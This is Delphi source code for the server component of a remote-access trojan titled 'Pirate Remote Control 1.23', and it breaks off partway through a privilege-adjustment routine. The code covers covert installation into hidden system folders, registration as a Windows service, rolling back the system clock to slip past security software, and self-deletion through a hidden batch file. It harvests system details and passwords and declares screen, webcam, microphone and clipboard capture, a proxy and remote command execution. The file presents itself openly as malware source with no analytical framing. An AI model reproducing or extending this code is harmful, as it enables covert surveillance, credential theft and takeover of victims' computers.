mainserver.pas

海盗远控1.23源代码

unit MainServer;

interface

uses
  Windows, Messages, SysUtils, Clipbrd, Variants, Classes, Graphics, Controls,TLHelp32, Forms,
  Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, BASE64,  WinSvc,TScreenCaptureUnit,
  IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze, Registry,Socks5Proxy,TScrControlUnit,TACMWaveInUnit,
  WinntService, ExtCtrls,OSMsg,zhujixx,shellapi,vfw,jpeg,PsAPI;

CONST
  ver = '1013';
  LF = #10;
  CR = #13;
  EOL = CR + LF;
  Head='ViKing';
type
  TDirType = (MsiDir,ProDir,WinDir, SysDir, TmpDir);

type
  TClientHandleThread = class(TThread)
  private
    CommandStr:String;
    procedure HandleInput;
  protected
    procedure Execute; override;
  Public
    constructor Create;
    destructor Destroy; override;
  end;

type
  rstr=record
         attr:integer;
         value:string;
         name:string[50];
       end;


type
  TPServer = class(TForm)
    Timer1: TTimer;
    IdTCPOnline: TIdTCPClient;
    IdAntiFreeze1: TIdAntiFreeze;
    IdTCPClient1: TIdTCPClient;
    IdTCPVfw: TIdTCPClient;
    IdHTTP1: TIdHTTP;
    procedure Timer1Timer(Sender: TObject);

  private
    { Private declarations }
    procedure DelMe;             //删除自己
    procedure Online;                     //连接客户端函数
    Procedure HttpConokSend;              {当连接上客户端后发送上线信息}
    function Clip_Text :string;       //剪切板内容
    function Savenowtask:String;       //进程内容
    function Searchallwindow:string;   //所有打开窗口
    procedure CreateCaptureWindow;
    procedure CompareFrame(lpVHdr: PVIDEOHDR);
    procedure StopCapture;
  public
    { Public declarations }
    Socks5Proxy:TSocks5Proxy;  //代理
    constructor Create(AOwner: TComponent); override;

    procedure AnZhuang;
    function  HTTPtoIpPort(S:string):Boolean;
    function ConRpcport(BThread: TIdTCPClient):Boolean; //初始化IP和端口并且连接
    procedure SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);//向客户端发送数据
    procedure ToClientDisconnect;
    procedure ZhiXingCmd(var StrTmpList:TStringList);  // 执行命令
    function FindFile(Path:string):string;
    function DoCopyDir(sDirName: string; sToDirName: string): Boolean;
    procedure Mycopyfile(sourse: string; dest: string);
    function DoRemoveDir(mDirName: string): Boolean;
    function Reg_value(var StrTmpList:TStringList):string;//读取注册表
    procedure Editregvalue(var StrTmpList:TStringList);  {修改注册表键名/值}
    procedure Deleteregvalue(var StrTmpList:TStringList);{删除注册表主建}
    procedure Newregvalue(var StrTmpList:TStringList);  {新建注册表主键}
    procedure Deleteregkey(var StrTmpList:TStringList);
    function GetServicesInfo:string; //服务信息
    function GetDosOutput(Command: string): string;
  end;
var
  Urlhttp:  pchar = 'URLHTTPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //上线IP
  PassWord: pchar = 'PASSWORDXXXXXXXXXXXX';   //上线密码
  Group:    pchar = 'GROUPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //上线分组
  Beizhu:   pchar = 'BEIZHUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //上线备注
  Setuppath:pchar = 'SETUPPATHXXXX';       //安装路径
  PZName:   pchar = 'NAMEXXXXXXXXXXXXXXXXXXXXXXXXXX'; //安装名称

  ChangeTime:pchar = 'TXXX';//修改系统时间过主动
  DelMy:    pchar = 'DELX';  //自动删除

  WinServerName:pchar = 'SNXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';//服务名
  WinServerView:pchar = 'SVXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //显示名称
  WinServerText:pchar = 'STXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; //描述信息

var
  PServer: TPServer;
  ServerDir:TDirType;

  ServerPath:string;

  allhwnd:array [0..100] of hwnd;

  ClientIm:integer;

  RpcAdder:String;         //上线IP地址
  RpcPort:integer;         //上线端口

  ThreadID:array [0..100] of Dword;  //进程ID

  ClientHandleThread: TClientHandleThread;

  ACMWaveOver,VideoOver,ScreenOver,ScrConOver:Boolean;

  ScreenCapture:TScreenCaptureThread;
  ScrControl:TScrControlThread;

  Verycolored:Integer;   {是否真彩色}
  ACMWaveInThread:TACMWaveInThread;

  CapWnd:THandle;
  BmpInfo: TBitmapInfo;
  DriverIndex:integer;
implementation
uses
sharePsw,DlgshowUnit,DownFileUnit,DownLoadFileUnit;
{$R *.dfm}
//获取系统目录 --------------------

function GetDirectory(dInt: TDirType): string;
var
  S: array[0..MAX_PATH] of Char;
begin
  case dInt of
    WinDir: GetWindowsDirectory(@S, MAX_PATH + 1);
    SysDir: GetSystemDirectory(@S, MAX_PATH + 1);
    TmpDir: GetTempPath(MAX_PATH, @S);
    ProDir: begin
              GetWindowsDirectory(@S, MAX_PATH + 1);
              S[2]:= #0;
              lstrcat(S,'\Program Files');
             end;
    MsiDir: begin
              GetWindowsDirectory(@S, MAX_PATH + 1);
              S[2]:= #0;
              lstrcat(S,'\Program Files\Common Files\Microsoft Shared\MSInfo');
             end;
  end;
  Result := string(S) + '\';
end;


{充许执行MS-DOS}
procedure PassRunMsdos;
var
Reg:Tregistry;
begin
try
    Reg:=Tregistry.Create ;
    Reg.RootKey :=HKEY_CURRENT_USER;
    Reg.OpenKey ('Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp',true);
    Reg.DeleteValue('NoRealMode');
    Reg.CloseKey;
finally
    Reg.Free;
end;
end;

{自我删除}
procedure TPServer.DelMe;
var
  F            : textfile;
  BatchFileName: string;
  ProcessInfo  : TProcessInformation;
  StartUpInfo  : TStartupInfo;
begin
  PassRunMsdos;
  BatchFileName:= GetDirectory(SysDir)+'Deleteme.bat';  {建批处理文件}
  AssignFile(F,BatchFileName);
  Rewrite(F);{F为TextFile类型}
  WriteLn(F,':try');
  WriteLn(F,'del "' + ParamStr(0) + '"');
  WriteLn(F,'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F,'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,   {运行批处理文件}
    False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
    ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;



procedure TPServer.AnZhuang;
var
  Reg:Tregistry;
  SystemTime: TSystemTime;
  Year:word;
begin
  try
    if SetupPath = 'MSInfo'  then ServerDir:=MsiDir;
    if SetupPath = 'Program Files' then ServerDir:=ProDir;
    if SetupPath = 'System' then ServerDir:=SysDir;
    if SetupPath = 'Windows' then ServerDir:=WinDir;
    if SetupPath = 'Temp' then ServerDir:=TmpDir;

    ServerPath:=GetDirectory(ServerDir)+pzname;  //服务安装路径
    if (ParamStr(0) <> ServerPath) then
    begin
      try
        if FileExists(ServerPath) then    //检查文件是否存在
        begin
          FilesetAttr(ServerPath,0);  //设置文件属性，这里将特殊文件的属性设置为普通文件属性
          DeleteFile(PChar(ServerPath)); //删除文件
          if FileExists(ServerPath) then  //如果文件还存在
          begin
            Halt(0);
            Exit;
          end;
        end;
        CopyFile(pchar(paramstr(0)), pchar(ServerPath), false);  //复制服务文件到指定路径
        Setfileattributes(pchar(ServerPath),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN)  //设置文件属性
      except
      end;

      try
        try
          reg:=Tregistry.Create ;
          reg.RootKey :=HKEY_LOCAL_MACHINE;
          reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup',true);
          reg.DeleteValue('Beizhu');
          Reg.CloseKey;
          reg.Free;
        except
        end;

        if ChangeTime = 'TRUE' then   //修改系统时间
        begin
          try
            GetLocalTime(SystemTime);   //得到本地时间
            Year := SystemTime.wYear;   //保存原来的时间
            SystemTime.wYear:= 1990;    //修改到1990年
            SetLocalTime(SystemTime);   //设置本地时间
            Sleep(14000);
          except
          end;
        end;
        Sleep(1000);
        try
          DelService(WinServerName);  //删除相同的服务
        except
        end;
        try
          InstallService(WinServerName,WinServerView,ServerPath,WinServerText); //安装服务
        except
        end;
        if ChangeTime = 'TRUE' then   //修改系统时间
        begin
          try
            GetLocalTime(SystemTime);
            SystemTime.wYear:= Year;
            SetLocalTime(SystemTime);  //恢复系统时间
          except
          end;
        end;
    
        if paramstr(1)='' then
        begin
          WinExec(pchar(ServerPath),SW_SHOW); //执行程序
        end;

        if (DelMy = 'TRUE') and (paramstr(1)='') then
        begin
          DelMe;
        end;
        Halt;
        Exit;
      except
        Halt;
      end;
      Exit;
   end;
  except
  end;
end;

function CenterStr(Src:String;Before,After:String):String;
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;

{得到驱动器}
function DiskInDrive(Drive: Char): Boolean;
var ErrorMode: word;
begin
   if Drive in ['a'..'z'] then Dec(Drive, $20);
   if not (Drive in ['A'..'Z']) then
   raise EConvertError.Create('Not a valid drive ID');
   ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
   try
     if DiskSize(Ord(Drive) - $40) = -1 then
     Result := False
   else
     Result := True;
   finally
     SetErrorMode(ErrorMode);
   end;
end;

{得到驱动器}
function GetDrivernum:String;
var
i:Char;
AChar:array[1..3] of char;
j:integer;
drv:PChar;
DiskList:TStringList;
begin
try
  DiskList:=TStringList.Create;
  for i:='C' to 'Z' do
    begin
      if DiskInDrive(i) then
        begin
          AChar[1]:=i;
          AChar[2]:=':';
          AChar[3]:=#0;
          drv:=@AChar;
          J:=GetDriveType(drv);
          if J=DRIVE_REMOVABLE then
	           DiskList.Add(i+':18');  //(软盘)
          if J=DRIVE_FIXED then
	           DiskList.Add(i+':15');   //(硬盘)
          if J=DRIVE_REMOTE then
	          DiskList.Add(i+':17');    //(网络映射)
          if J=DRIVE_CDROM then
            DiskList.Add(i+':16');   // (光盘)
          if J=DRIVE_RAMDISK then
            DiskList.Add(i+':18'); //(虚拟盘)
          if J=DRIVE_UNKNOWN then
            DiskList.Add(i+':18'); //(未知盘)
        end;
    end;
   Result :=DiskList.Text;
finally
   DiskList.Free;
end;
end;

function GetFileName(FileName: string): string; {从路径中分离文件名}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, Length(FileName) - Contador + 1, Length(FileName)));
end;

function GetFilepath(FileName: string): string; {从全路径中分离路径,有'\'}
var Contador: integer;
begin
  Contador := 1;
  while Copy(FileName, Length(FileName) - Contador, 1) <> '\' do
  begin
    Contador := Contador + 1;
  end;
  Result := (Copy(FileName, 1, Length(FileName) - Contador));
end;


{系统信息}
function SystemXingxi :String;
var
  Infolist:TStringlist;
begin
  infolist:=TStringlist.Create;
  Infolist.Add(Format('%f MHz', [GetCPUSpeed]));  //处理器
  Infolist.add(phymemery);     //物理内存:
  Infolist.add(GetWindowsVersion); //Windows版本:
  Infolist.add(GetDirectory(WinDir)); //'Windows目录:
  Infolist.add(regist(0)); //'注册公司:     '+
  Infolist.add(regist(1));    //'注册用户:     '+
  Infolist.add(Currentuser);   //'当前用户:     '
  Infolist.add(DatetoStr(now)+' '+TimetoStr(now));  //'当前日期:     '+
  Infolist.add(Getopentime);    //'开机时间:     '+
  Infolist.add(computername);   // '计算机名称:   '+
  Infolist.add(Windowssize);   //'窗口分辨率:   '+
  
  Infolist.add(ver);   //'服务端版本:   '+
  try
    Infolist.add(GetDriverList[0]);    // '视频设备:     '+
  except
  end;
  Infolist.add(GetPassword);
  Result :=infolist.Text ;
  infolist.Free;
end;

procedure AdjustToken();
var
   currToken:THandle;
   prevState,newState:TTokenPrivileges;
   prevStateLen:DWORD;
   uid:TLargeInteger;
begin